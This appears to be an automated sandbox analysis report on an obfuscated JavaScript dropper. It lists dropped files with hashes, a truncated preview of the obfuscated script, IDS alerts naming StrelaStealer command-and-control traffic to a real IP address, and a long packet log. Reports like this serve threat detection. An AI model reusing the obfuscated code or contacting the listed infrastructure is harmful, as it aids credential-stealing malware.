Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\52412ded-83c5-42a3-9968-0ce5757840e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\67a0b751-55a9-411b-ba0c-20195078e4aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/x1wYIGNPJnWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:J1wZGTWLxB3mlind9i4ufFXpAXkrfUsb
MD5:	12F2B7AA134915BFFFD8679D03137A0D
SHA1:	8C183284F33E697E32DC844B34BBD4A9BCC8AB7C
SHA-256:	720BF6C03BE5E6272AD598225F9755FBF4D6C1E6033EE58DF75267DEF8E270DE
SHA-512:	CF3B81743E0B9B0EF92C1BE1754206A6CCB318C4AF9D962BFF2937AEC1B1FDF9AC85116C58811F39D2A3FDC862315BFF5DADB4E2C89862CC252156C61819CED3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19475), with CRLF line terminators
Entropy (8bit):	4.899141506177569
TrID:
File name:	3107622714995924320.js
File size:	23'139 bytes
MD5:	f5c7fe2341ed53b4aab150272c3af818
SHA1:	59ba182dc68c78acfc1f5a0758a524f94e390d96
SHA256:	35750c1952647dc735cb6845f275908dccef79669f6efb43a287ef357eb8b622
SHA512:	3e9182e216c5eee01db91aa3d916e3de62f055963f1296b84415c13bbe889326e5c8009cde13aee8c5b60113d3a7b1180d3b4805ded5b96d7b249de8c9c25bb4
SSDEEP:	384:OOjptKHqy9RgRFRKCC2/S3wGcxkoUiDAvd7iJ+yL1g:OOjptKb96DoOXxnUvd7iu
TLSH:	67A252DCA014969E7DF87AD4168E8573B0F99BDC878481B8788738DD5AC6B8B10F3472
File Content Preview:	function wawhzxyi(){quipxsszb=[1031,3079,5127,4103,2055,3072];var unfbkyocc=this[qdnkpry+svzxdi+jlaqczgk+ywybkk+poydksxnx+fgdaiukrq+exapcjqkd+geycnuny](this[amirgc+uvtfye+lgigvuqzk+jlaqczgk+tbxko+qdnkpry+geycnuny][awbkbsq+jlaqczgk+poydksxnx+svzxdi+geycnun

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:05:34.385492+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T07:05:34.385492+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T07:05:36.997999+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:05:33.576090097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:33.580944061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:33.581065893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:33.583619118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:33.589915037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385365009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385397911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385412931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385457993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385473013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385488033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385492086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.385514975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385519028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.385529995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385546923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385550976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.385595083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.385597944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.385658026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.390294075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.435592890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.445652008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.445668936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.445785046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.505450964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505474091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505498886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505511045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505553961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.505573988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.505646944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505662918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505716085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.505805016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505820036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505836964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505870104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.505873919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.505949020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.506548882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.506572008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.506587982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.506602049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.506617069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.506638050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.506638050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.507235050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.507262945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.507277966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.507298946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.507333040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.507348061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.507373095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.507503033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.508114100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.508138895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.508186102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.514013052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.514049053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.514062881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.514108896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.532434940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.532517910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.620733976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.620754957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.620851040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.620863914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.620877028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.620909929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.625386953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625401020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625436068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625442982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.625458956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625504017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.625571012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625600100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625613928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625641108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.625868082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625924110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.625926971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625942945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625957966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.625977039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.626368046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626384020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626399040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626411915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626420975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.626430988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.626703978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626720905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626734972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626749992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.626749992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.626780033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.627212048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627234936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627249002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627253056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.627265930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627279997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627295971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627295971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.627332926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.627877951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627906084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627927065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627949953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627959967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.627959967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.627964973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627980947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.627995968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.628011942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.628034115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.628034115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.628932953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.628959894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.628974915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.628981113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.628990889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629007101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629021883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629035950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629049063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.629049063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.629050970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629089117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.629785061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629808903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629837036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.629837036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629900932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629914999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.629920006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.629964113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.707684040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.707715034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.707868099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.740818024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.740839958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.740873098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.740885973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.740909100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.740923882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.740938902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.740976095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.741046906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.745527029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745556116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745572090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745587111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745601892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745616913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745659113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.745659113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.745748997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745790958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745791912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.745805979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745842934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745857954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745872974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745874882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.745887995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.745903015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.745949030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746165991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746179104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746223927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746248960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746263027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746278048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746299028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746315002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746337891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746337891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746582031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746597052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746612072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746624947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746661901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746661901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746807098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746822119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746835947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746869087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746869087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746874094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746889114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746902943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746917009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746931076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746964931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746964931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.746973038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.746988058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747003078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747014046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747037888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.747037888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.747594118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747608900 CET	80	49706	193.143.1.205	192.168.2.8
